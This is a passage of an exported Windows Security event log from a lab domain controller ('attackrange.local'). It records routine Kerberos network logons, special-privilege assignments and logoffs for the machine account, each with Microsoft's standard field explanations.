event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249269 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0F5D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249268 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0EF7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249267 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0EF7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64194 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249266 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0EF7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249265 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0E96 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249264 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE0E96 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64193 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249263 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE0E96 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249289 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1197 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249288 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1197 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {516F09E8-915A-EEAE-06B7-D42FEBA6FC38} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64201 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249287 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1197 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249286 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1155 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249285 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE1155 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64200 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249284 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1155 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249283 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE10F4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249282 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE10F4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64199 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249281 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE10F4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249280 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE108E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249279 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE108E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64198 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249278 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE108E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249277 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE102D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249276 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE102D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64197 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249275 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE102D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249301 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE132A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249300 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE132A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64205 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249299 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE132A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249298 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE12C9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249297 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE12C9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64204 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249296 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE12C9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249295 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE1263 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249294 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: 